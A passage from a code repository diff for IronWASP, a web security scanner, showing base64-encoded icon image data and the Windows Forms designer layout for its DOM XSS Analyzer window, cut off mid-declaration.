AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////b////////////////////2////////////////////5n///////////////////8Y// + //////////////////GP///////////////////hh///////////////////4Yf///////////////// + /8GD///////////////////Bg///////////////////gYH//////////////////4GB//////////// + //////8BgP//////////////////AYD//////////////////gGAf/////////////////4BgH////// + ///////////8AYA//////////////////AGAP/////////////////gBgB/////////////////4AYAf + ////////////////8AGAD/////////////////ABgA/////////////////gAYAH//////////////// + 4AGAB////////////////8ABgAP////////////////AAYAD////////////////gAGAAf////////// + /////4ABgAH///////////////8AAYAA///////////////+AAGAAH///////////////gABgAB///// + //////////wAAYAAP//////////////8AAGAAD//////////////+AABgAAf//////////////gAAYAA + H//////////////wAAGAAA//////////////8AABgAAP/////////////+AAAYAAB//////////////g + AAGAAAf/////////////wAABgAAD/////////////8AAAYAAA//////////////AAAGAAAP///////// + ////4AABgAAH/////////////2AAAYAABv////////////4wAAGAAAx////////////+MAABgAAMf/// + /////////BgAAYAAGD////////////wYAAGAABg////////////4DAABgAAwH///////////+AwAAYAA + MB////////////AGAAGAAGAP///////////wBgABgABgD///////////4AMAAYAAwAf//////////+AD + AAGAAMAH///////////AAYABgAGAA///////////wAGAAYABgAP//////////4AAgAGAAQAB//////// + //+AAMABgAMAAf//////////AABAAYACAAD//////////wAAYAGABgAA//////////4AAGABgAQAAH// + ///////+AAAwAYAMAAB//////////AAAMAGACAAAP/////////wAABgBgBgAAD/////////4AAAYAYAY + AAAf////////+AAADAGAMAAAH/////////AAAA////AAAA/////////wAAAH///gAAAP////////4AAA + D///4AAAB////////+AAAAwAADAAAAf////////AAAAYAAAQAAAD////////wAAAGAAAGAAAA/////// + /4AAADAAAAgAAAH///////+AAAAwAAAMAAAB////////AAAAYAAABAAAAP///////wAAAGAAAAYAAAD/ + //////4AAADAAAACAAAAf//////+AAAAwAAAAwAAAH///////AAAAYAAAAEAAAA///////wAAAGAAAAB + gAAAP//////4AAADAAAAAIAAAB//////+AAAAwAAAADAAAAf//////AAAAYAAAAAQAAAD//////wAAAG + AAAAAGAAAA//////4AAADAAAAAAgAAAH/////+AAAAwAAAAAMAAAB//////AAAAIAAAAABAAAAP///// + wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + 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 + + + \ No newline at end of file diff --git a/Iron/Hawas/DomXssAnalyzer.Designer.cs b/Iron/Hawas/DomXssAnalyzer.Designer.cs new file mode 100644 index 0000000..8be3730 --- /dev/null +++ b/Iron/Hawas/DomXssAnalyzer.Designer.cs @@ -0,0 +1,131 @@ +namespace IronWASP.Hawas +{ + partial class DomXssAnalyzer + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DomXssAnalyzer)); + this.AnalysisProgressBar = new System.Windows.Forms.ProgressBar(); + this.OutputFolderDialog = new System.Windows.Forms.FolderBrowserDialog(); + this.SelectOutputFolderLbl = new System.Windows.Forms.LinkLabel(); + this.OutputTB = new System.Windows.Forms.TextBox(); + this.StatusLbl = new System.Windows.Forms.Label(); + this.StartBtn = new System.Windows.Forms.Button(); + this.label1 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // AnalysisProgressBar + // + this.AnalysisProgressBar.Location = new System.Drawing.Point(74, 132); + this.AnalysisProgressBar.MarqueeAnimationSpeed = 50; + this.AnalysisProgressBar.Name = "AnalysisProgressBar"; + this.AnalysisProgressBar.Size = new System.Drawing.Size(440, 23); + this.AnalysisProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.AnalysisProgressBar.TabIndex = 0; + this.AnalysisProgressBar.Visible = false; + // + // SelectOutputFolderLbl + // + this.SelectOutputFolderLbl.AutoSize = true; + this.SelectOutputFolderLbl.Location = new System.Drawing.Point(192, 99); + this.SelectOutputFolderLbl.Name = "SelectOutputFolderLbl"; + this.SelectOutputFolderLbl.Size = new System.Drawing.Size(195, 13); + this.SelectOutputFolderLbl.TabIndex = 1; + this.SelectOutputFolderLbl.TabStop = true; + this.SelectOutputFolderLbl.Text = "Select the folder to save analysis results"; + this.SelectOutputFolderLbl.Visible = false; + this.SelectOutputFolderLbl.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SelectOutputFolderLbl_LinkClicked); + // + // OutputTB + // + this.OutputTB.Location = new System.Drawing.Point(12, 188); + this.OutputTB.Name = "OutputTB"; + this.OutputTB.Size = new System.Drawing.Size(560, 20); + this.OutputTB.TabIndex = 2; + this.OutputTB.Visible = false; + // + // StatusLbl + // + this.StatusLbl.AutoSize = true; + this.StatusLbl.Location = new System.Drawing.Point(71, 168); + this.StatusLbl.Name = "StatusLbl"; + this.StatusLbl.Size = new System.Drawing.Size(115, 13); + this.StatusLbl.TabIndex = 3; + this.StatusLbl.Text = " "; + // + // StartBtn + // + this.StartBtn.Location = new System.Drawing.Point(10, 94); + this.StartBtn.Name = "StartBtn"; + this.StartBtn.Size = new System.Drawing.Size(176, 23); + this.StartBtn.TabIndex = 4; + this.StartBtn.Text = "Start Analysis"; + this.StartBtn.UseVisualStyleBackColor = true; + this.StartBtn.Click += new System.EventHandler(this.StartBtn_Click); + // + // label1 + // + this.label1.Font = new System.Drawing.Font("Palatino Linotype", 9.75F); + this.label1.Location = new System.Drawing.Point(12, 6); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(562, 83); + this.label1.TabIndex = 13; + this.label1.Text = resources.GetString("label1.Text"); + // + // DomXssAnalyzer + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(584, 211); + this.Controls.Add(this.label1); + this.Controls.Add(this.StartBtn); + this.Controls.Add(this.StatusLbl); + this.Controls.Add(this.OutputTB); + this.Controls.Add(this.SelectOutputFolderLbl); + this.Controls.Add(this.AnalysisProgressBar); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(600, 250); + this.MinimumSize = new System.Drawing.Size(600, 250); + this.Name = "DomXssAnalyzer"; + this.Text = "DomXss Analyzer"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.DomXssAnalyzer_FormClosing); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.ProgressBar AnalysisProgressBar; + private System.Windows.Forms.FolderBrowserDialog OutputFolderDialog; + private System.Windows.Forms.LinkLabel SelectOutputFolderLbl; + private System.Windows.Forms.TextBox OutputTB; + private System.Windows.Forms.Label StatusLbl; + private System.Windows.Forms.Button StartBtn; + private 